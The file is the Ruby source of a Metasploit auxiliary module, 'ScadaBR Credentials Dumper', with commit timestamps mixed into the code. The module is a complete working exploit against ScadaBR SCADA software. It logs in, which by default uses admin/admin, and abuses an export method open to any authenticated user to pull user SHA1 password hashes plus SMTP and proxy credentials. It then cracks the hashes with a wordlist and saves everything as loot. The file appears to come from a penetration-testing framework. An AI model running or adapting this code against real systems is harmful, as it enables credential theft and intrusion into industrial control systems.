2017-05-28 01:24:53 +00:00
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##
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2017-07-24 13:26:21 +00:00
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# This module requires Metasploit: https://metasploit.com/download
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2017-05-28 01:24:53 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ScadaBR Credentials Dumper',
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'Description' => %q{
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This module retrieves credentials from ScadaBR, including
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service credentials and unsalted SHA1 password hashes for
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all users, by invoking the 'EmportDwr.createExportData' DWR
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method of Mango M2M which is exposed to all authenticated
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users regardless of privilege level.
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This module has been tested successfully with ScadaBR
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versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
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},
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'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
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'License' => MSF_LICENSE,
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'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],
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'Targets' => [[ 'Automatic', {} ]],
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'DisclosureDate' => 'May 28 2017'))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
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OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
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2017-05-28 23:26:51 +00:00
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OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),
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OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes',
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File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
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2017-05-28 01:24:53 +00:00
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])
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end
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def login(user, pass)
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res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'login.htm'),
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'method' => 'POST',
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'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",
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'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'),
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'password' => Rex::Text.uri_encode(pass, 'hex-normal') }
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unless res
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fail_with Failure::Unreachable, "#{peer} Connection failed"
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end
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if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/
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@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
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print_good "#{peer} Authenticated successfully as '#{user}'"
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else
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fail_with Failure::NoAccess, "#{peer} Authentication failed"
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end
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end
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def export_data
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params = 'callCount=1',
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"page=#{target_uri.path}/emport.shtm",
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"httpSessionId=#{@cookie}",
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"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",
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'c0-scriptName=EmportDwr',
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'c0-methodName=createExportData',
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'c0-id=0',
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'c0-param0=string:3',
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'c0-param1=boolean:true',
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'c0-param2=boolean:true',
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'c0-param3=boolean:true',
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'c0-param4=boolean:true',
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'c0-param5=boolean:true',
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'c0-param6=boolean:true',
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'c0-param7=boolean:true',
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'c0-param8=boolean:true',
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'c0-param9=boolean:true',
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'c0-param10=boolean:true',
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'c0-param11=boolean:true',
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'c0-param12=boolean:true',
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'c0-param13=boolean:true',
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'c0-param14=boolean:true',
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'c0-param15=boolean:true',
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'c0-param16=string:100',
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'c0-param17=boolean:true',
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'batchId=1'
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uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'
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res = send_request_cgi 'uri' => uri,
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'method' => 'POST',
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'cookie' => "JSESSIONID=#{@cookie}",
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'ctype' => 'text/plain',
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'data' => params.join("\n")
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unless res
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fail_with Failure::Unreachable, "#{peer} Connection failed"
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end
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unless res.body =~ /dwr.engine._remoteHandleCallback/
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2017-07-21 14:41:51 +00:00
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fail_with Failure::UnexpectedReply, "#{peer} Export failed"
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2017-05-28 01:24:53 +00:00
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end
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config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
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print_good "#{peer} Export successful (#{config_data.length} bytes)"
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begin
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return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"'))
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rescue
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fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
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end
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end
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2017-05-28 23:26:51 +00:00
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def load_wordlist(wordlist)
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return unless File.exist? wordlist
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File.open(wordlist, 'rb').each_line do |line|
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@wordlist << line.chomp
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end
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end
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def crack(user, hash)
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return user if hash.eql? Rex::Text.sha1 user
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pass = nil
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@wordlist.each do |word|
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if hash.eql? Rex::Text.sha1 word
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pass = word
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break
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end
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end
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pass
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end
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2017-05-28 01:24:53 +00:00
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def run
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login datastore['USERNAME'], datastore['PASSWORD']
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json = export_data
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service_data = { address: rhost,
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port: rport,
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service_name: (ssl ? 'https' : 'http'),
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protocol: 'tcp',
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workspace_id: myworkspace_id }
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columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail'
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user_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR User Credentials',
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'Indent' => 1,
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'Columns' => columns
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if json['users'].empty?
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print_error 'Found no user data'
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else
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print_good "Found #{json['users'].length} users"
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2017-05-28 23:26:51 +00:00
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@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
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@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr'])
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load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil?
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2017-05-28 01:24:53 +00:00
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end
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json['users'].each do |user|
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next if user['username'].eql?('')
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username = user['username']
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admin = user['admin']
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mail = user['email']
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hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first
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2017-05-28 23:26:51 +00:00
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pass = crack username, hash
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2017-05-28 01:24:53 +00:00
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user_cred_table << [username, pass, hash, admin, mail]
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if pass
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print_status "Found weak credentials (#{username}:#{pass})"
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creds = { origin_type: :service,
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2017-05-28 23:26:51 +00:00
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module_fullname: fullname,
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2017-05-28 01:24:53 +00:00
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private_type: :password,
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private_data: pass,
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username: user }
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else
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creds = { origin_type: :service,
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2017-05-28 23:26:51 +00:00
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module_fullname: fullname,
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2017-05-28 01:24:53 +00:00
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private_type: :nonreplayable_hash,
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private_data: hash,
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username: user }
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end
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creds.merge! service_data
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credential_core = create_credential creds
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login_data = { core: credential_core,
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access_level: (admin ? 'Admin' : 'User'),
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status: Metasploit::Model::Login::Status::UNTRIED }
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login_data.merge! service_data
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create_credential_login login_data
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end
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columns = 'Service', 'Host', 'Port', 'Username', 'Password'
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service_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR Service Credentials',
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'Indent' => 1,
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'Columns' => columns
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system_settings = json['systemSettings'].first
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unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('')
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smtp_host = system_settings['emailSmtpHost']
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smtp_port = system_settings['emailSmtpPort']
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smtp_user = system_settings['emailSmtpUsername']
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smtp_pass = system_settings['emailSmtpPassword']
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vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}"
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service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]
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end
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unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('')
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proxy_host = system_settings['httpClientProxyServer']
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proxy_port = system_settings['httpClientProxyPort']
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proxy_user = system_settings['httpClientProxyUsername']
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proxy_pass = system_settings['httpClientProxyPassword']
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vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}"
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service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]
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end
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print_line
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print_line user_cred_table.to_s
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print_line
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print_line service_cred_table.to_s
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path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings'
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print_good "Config saved in: #{path}"
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end
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end
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